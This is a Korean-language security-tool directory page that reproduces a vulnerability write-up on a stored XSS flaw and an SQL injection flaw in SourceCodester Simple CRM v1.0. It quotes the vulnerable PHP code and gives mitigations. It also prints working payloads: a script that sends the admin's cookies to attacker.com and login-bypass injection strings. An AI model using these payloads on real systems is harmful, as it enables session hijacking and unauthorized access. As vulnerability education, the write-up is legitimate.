Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-24203-and-CVE-2023-24204 — # SourceCodester CRM의 CVE-2023-24203(저장형 XSS) 및 CVE-2023-24204(SQL 삽입) 교육적 분석, 공격 단계 및 완화 전략 포함. | Kitploit
도구/GitHubGitHub/momo1239/cve-2023-24203-and-cve-2023-24204
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubmomo1239/cve-2023-24203-and-cve-2023-24204

CVE-2023-24203-and-CVE-2023-24204

# SourceCodester CRM의 CVE-2023-24203(저장형 XSS) 및 CVE-2023-24204(SQL 삽입) 교육적 분석, 공격 단계 및 완화 전략 포함.

저장소 보기
12년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-24203-and-CVE-2023-24204

소개

끊임없이 진화하는 사이버 보안 환경에서 웹 애플리케이션은 취약점을 악용하려는 공격자의 주요 표적이 되고 있습니다. 최근 SourceCodester Simple Customer Relationship Management (CRM) System v1.0에서 CVE-2023-24203 및 CVE-2023-24204라는 두 가지 심각한 취약점이 발견되었습니다. XSS(Cross-Site Scripting)와 SQL 인젝션(SQL Injection)과 관련된 이 취약점들은 임의 코드 실행 및 무단 접근을 포함한 심각한 위험을 초래합니다. 개발자와 보안 전문가가 잠재적 위협으로부터 시스템을 보호하려면 이러한 취약점과 그 영향을 이해하는 것이 필수적입니다.

크로스 사이트 스크립팅(XSS)

XSS(Cross-Site Scripting)는 웹 애플리케이션이 사용자가 다른 사용자가 보는 웹 페이지에 악성 스크립트를 주입할 수 있도록 허용할 때 발생하는 취약점 유형입니다. 이로 인해 사용자를 대신한 무단 작업, 데이터 탈취 및 추가 악용이 발생할 수 있습니다. XSS 취약점은 다음과 같은 세 가지 주요 유형으로 분류할 수 있습니다:

  1. 저장형 XSS(Stored XSS): 악성 스크립트가 데이터베이스, 메시지 포럼 또는 댓글 필드와 같은 대상 서버에 영구적으로 저장됩니다.
  2. 반사형 XSS(Reflected XSS): 악성 스크립트가 오류 메시지, 검색 결과 또는 서버로 전송된 입력의 일부 또는 전체를 포함하는 기타 응답에서 웹 서버를 통해 반사됩니다.
  3. DOM 기반 XSS(DOM-based XSS): 서버 측 코드가 아닌 클라이언트 측 코드에 취약점이 존재합니다.

SQL 인젝션

SQL 인젝션(SQL Injection)은 공격자가 쿼리에 임의의 SQL 코드를 주입하여 SQL 쿼리를 조작할 수 있을 때 발생하는 취약점 유형입니다. 이로 인해 무단 접근, 데이터 탈취 및 기타 악성 활동이 발생할 수 있습니다. SQL 인젝션은 일반적으로 불충분한 입력 검증과 파라미터화된 쿼리 부재로 인해 발생합니다. SQL 인젝션의 주요 영향은 다음과 같습니다:

  1. 무단 접근: 공격자는 인증 메커니즘을 우회하여 시스템에 무단으로 접근할 수 있습니다.
  2. 데이터 탈취: 공격자는 데이터베이스에서 민감한 정보를 유출할 수 있습니다.
  3. 데이터 조작: 공격자는 데이터베이스 내의 데이터를 변경, 삽입 또는 삭제할 수 있습니다.

이 블로그 게시물에서는 CVE-2023-24203 및 CVE-2023-24204에 대해 자세히 살펴보고, 이러한 취약점의 세부 사항, 공격 벡터, 영향 및 완화 전략을 탐구합니다. 이러한 취약점을 깊이 이해하는 것은 잠재적 악용으로부터 애플리케이션과 데이터를 보호하는 데 중요합니다.

웹 애플리케이션에서 SQL 인젝션의 일반적인 원인

SQL 인젝션 취약점은 종종 부적절한 입력 검증과 잘못된 코딩 관행의 결과로 발생합니다. 일반적인 원인은 다음과 같습니다:

  1. 파라미터화된 쿼리 부재: 파라미터화된 쿼리를 사용하지 않으면 공격자가 쿼리 문자열에 악성 SQL 코드를 주입할 수 있습니다.
  2. 불충분한 입력 검증: 사용자 입력을 제대로 검증하지 않으면 의도하지 않은 SQL 명령이 실행될 수 있습니다.
  3. 동적 SQL 쿼리: 사용자 입력에서 직접 문자열을 연결하여 SQL 쿼리를 동적으로 구성하면 악용 가능한 취약점이 발생할 수 있습니다.
  4. 사용자 입력 이스케이프 부족: 사용자 입력의 특수 문자를 제대로 이스케이프하지 않으면 SQL 인젝션 공격이 가능해집니다.
  5. 레거시 코드: 오래된 코드베이스는 최신 보안 관행을 따르지 않을 수 있어 SQL 인젝션에 더 취약할 수 있습니다.

웹 애플리케이션에서 XSS의 일반적인 원인

XSS(Cross-Site Scripting) 취약점은 일반적으로 사용자 입력과 출력을 제대로 처리하지 못해 발생합니다. 일반적인 원인은 다음과 같습니다:

  1. 잘못된 출력 인코딩: 웹 페이지에 표시하기 전에 사용자 입력을 인코딩하지 않으면 악성 스크립트 주입이 가능해집니다.
  2. 불충분한 입력 검증: 사용자 입력을 검증하거나 살균하지 않으면 주입된 스크립트가 실행될 수 있습니다.
  3. 반사된 사용자 입력: 적절한 검증이나 인코딩 없이 사용자 입력을 응답에 직접 반사하면 반사형 XSS가 발생할 수 있습니다.
  4. 저장된 사용자 입력: 적절한 살균 없이 사용자 입력을 저장하면 저장형 XSS 공격이 발생할 수 있습니다.
  5. DOM 조작: 사용자 입력을 기반으로 DOM(Document Object Model)을 안전하지 않게 조작하면 DOM 기반 XSS가 발생할 수 있습니다.

CVE-2023-24203: 저장형 XSS 발견!

취약점 요약

CVE-2023-24203은 SourceCodester Simple Customer Relationship Management (CRM) System v1.0의 get-quote.php 구성 요소에서 발견된 저장형 XSS(Stored Cross-Site Scripting) 취약점입니다. 이 취약점을 통해 공격자는 company 및 query 매개변수에 악성 스크립트를 주입할 수 있으며, 이 스크립트는 데이터베이스에 저장된 후 관리자가 조회할 때 실행되어 임의 코드 실행으로 이어집니다.

취약점 세부 정보

취약점은 견적 요청 양식의 사용자 입력을 처리하는 get-quote.php 스크립트에 있습니다. PHP 소스 코드는 아래와 같습니다:

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

이 스크립트는 양식에서 사용자 입력(이름, 이메일, 연락처, 회사, 서비스, 기타, 문의)을 받아 데이터베이스에 저장하기 위해 SQL 쿼리에 직접 포함시킵니다. services 입력은 mysqli_real_escape_string과 addslashes를 사용하여 살균되지만, company 및 query 매개변수는 응답에 다시 출력될 때 제대로 살균되거나 인코딩되지 않습니다. 이러한 살균 및 인코딩 부족으로 인해 데이터베이스에 악성 스크립트를 주입하고 저장할 수 있습니다.

악용

이 취약점을 악용하려면 공격자가 company 또는 query 매개변수에 악성 JavaScript 코드가 포함된 페이로드를 구성할 수 있습니다. 관리자가 견적 요청을 조회하면 주입된 스크립트가 관리자의 브라우저에서 실행됩니다.

예제 악용 페이로드

query 매개변수에 다음 페이로드를 제출하면:

root@kitploit:~
<script>alert('XSS');</script>

공격자는 관리자가 견적 요청을 조회할 때 XSS 공격을 트리거할 수 있습니다.

관리자 쿠키 탈취

관리자의 세션 쿠키를 탈취하기 위한 더 위험한 페이로드를 구성할 수 있습니다. query 매개변수에 다음 페이로드를 사용하면:

root@kitploit:~
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>

공격자는 관리자의 쿠키를 공격자가 제어하는 원격 서버로 전송할 수 있습니다.

악용 단계

악성 견적 요청 제출: 공격자가 견적 요청 양식을 작성하여 company 또는 query 필드에 악성 페이로드를 주입합니다.

root@kitploit:~
<form method="post" action="get-quote.php">
    <input type="text" name="company" value="CompanyX"><br>
    <input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
    <input type="submit" name="submit" value="Submit">
</form>

관리자 요청 조회: 관리자가 CRM 시스템에 로그인하여 제출된 견적을 조회하면 악성 스크립트가 관리자의 브라우저에서 실행되어 세션 쿠키를 공격자의 서버로 전송합니다.

영향

이 저장형 XSS 취약점을 성공적으로 악용하면 공격자가 관리자 브라우저의 컨텍스트에서 임의의 JavaScript를 실행할 수 있습니다. 이로 인해 다음과 같은 다양한 악성 작업이 발생할 수 있습니다:

세션 쿠키 탈취 사용자 세션 하이재킹 관리자를 대신한 무단 작업 수행 관리자를 악성 웹사이트로 리디렉션

완화

이 취약점을 완화하려면 웹 페이지에 포함하기 전에 모든 사용자 입력을 살균하고 인코딩하는 것이 필수적입니다. 구체적으로:

입력 살균: htmlspecialchars()와 같은 함수를 사용하여 사용자 입력의 특수 문자를 인코딩합니다. 입력 검증: 예상된 데이터만 허용되도록 엄격한 입력 검증을 구현합니다. CSP(Content Security Policy): CSP 헤더를 사용하여 스크립트를 로드하고 실행할 수 있는 소스를 제한합니다.

CVE-2023-24204: SQL 인젝션 및 인증 우회 발견!

CVE-2023-24204는 SourceCodester Simple Customer Relationship Management (CRM) System v1.0의 get-quote.php 및 login.php 구성 요소에서 발견된 SQL 인젝션 취약점입니다. 이 취약점을 통해 공격자는 데이터베이스에 임의의 SQL 명령을 주입할 수 있으며, 이는 무단 접근 및 데이터 조작으로 이어질 수 있습니다.

취약점 세부 정보

SQL 인젝션 취약점은 get-quote.php와 admin/login.php 스크립트 모두에 존재합니다. 아래는 이러한 취약점이 어떻게 발생하고 악용될 수 있는지에 대한 분석입니다.

get-quote.php

get-quote.php 스크립트는 견적 요청 양식의 사용자 입력을 처리합니다. 소스 코드는 아래와 같습니다:

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

또한 login.php 소스 코드 로직도 살펴보겠습니다.

root@kitploit:~
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL)); 
$city = $addrDetailsArr['geoplugin_city']; 
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");

$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";

echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>

취약점 분석

get-quote.php 스크립트는 name 매개변수를 적절히 살균하지 않습니다. 공격자는 Burp Suite와 같은 도구를 사용하여 요청을 가로채고 name 매개변수를 수정하여 악성 SQL 명령을 주입할 수 있습니다.

login.php 스크립트는 email 및 password 필드에 대한 적절한 입력 검증이 없어 인증 우회에 취약합니다. 공격자는 hack' or 1=1;#와 같은 페이로드를 사용하여 인증을 우회하고 접근 권한을 얻을 수 있습니다.

악용

  1. get-quote.php 악용
  2. 요청 가로채기: Burp Suite와 같은 프록시 도구를 사용하여 양식 제출 요청을 가로챕니다.
  3. name 매개변수 수정: name 매개변수에 악성 SQL 명령을 주입합니다. 예:

' OR '1'='1';--

  1. 수정된 요청 제출: 수정된 요청을 서버로 전송합니다. 주입된 SQL 명령이 데이터베이스에서 실행됩니다.

  2. login.php 악용

  3. 로그인 페이지로 이동: login.php 페이지로 이동합니다.

  4. 악성 페이로드 입력: email 필드에 hack' or 1=1;#와 같은 페이로드를 사용하고 password 필드에는 임의의 문자열을 입력합니다.

root@kitploit:~
<form method="post" action="login.php">
    <input type="text" name="email" value="hack' or 1=1;#"><br>
    <input type="password" name="password" value="password"><br>
    <input type="submit" name="login" value="Login">
</form>
  1. 인증 우회: 양식을 제출합니다. 페이로드가 인증을 우회하여 계정에 대한 접근 권한을 부여합니다.

영향

이러한 SQL 인젝션 취약점을 성공적으로 악용하면 다음과 같은 다양한 악성 작업이 발생할 수 있습니다:

무단 접근: 공격자는 시스템에 대한 관리자 접근 권한을 얻을 수 있습니다. 데이터 탈취: 공격자는 데이터베이스에서 민감한 정보를 유출할 수 있습니다. 데이터 조작: 공격자는 데이터베이스 내의 데이터를 변경, 삽입 또는 삭제할 수 있습니다. 완화 이러한 취약점을 완화하려면 적절한 입력 검증을 구현하고 파라미터화된 쿼리를 사용하는 것이 필수적입니다. 구체적으로:

Prepared Statement 사용: SQL 인젝션을 방지하기 위해 파라미터화된 쿼리를 구현합니다. 입력 검증: 예상된 데이터만 허용되도록 엄격한 입력 검증을 적용합니다. 입력 이스케이프: SQL 쿼리에서 사용하기 전에 모든 사용자 입력을 적절히 이스케이프합니다. 이러한 모범 사례를 따르면 SQL 인젝션 공격의 위험을 크게 줄이고 잠재적 악용으로부터 웹 애플리케이션을 보호할 수 있습니다.

도구 다운로드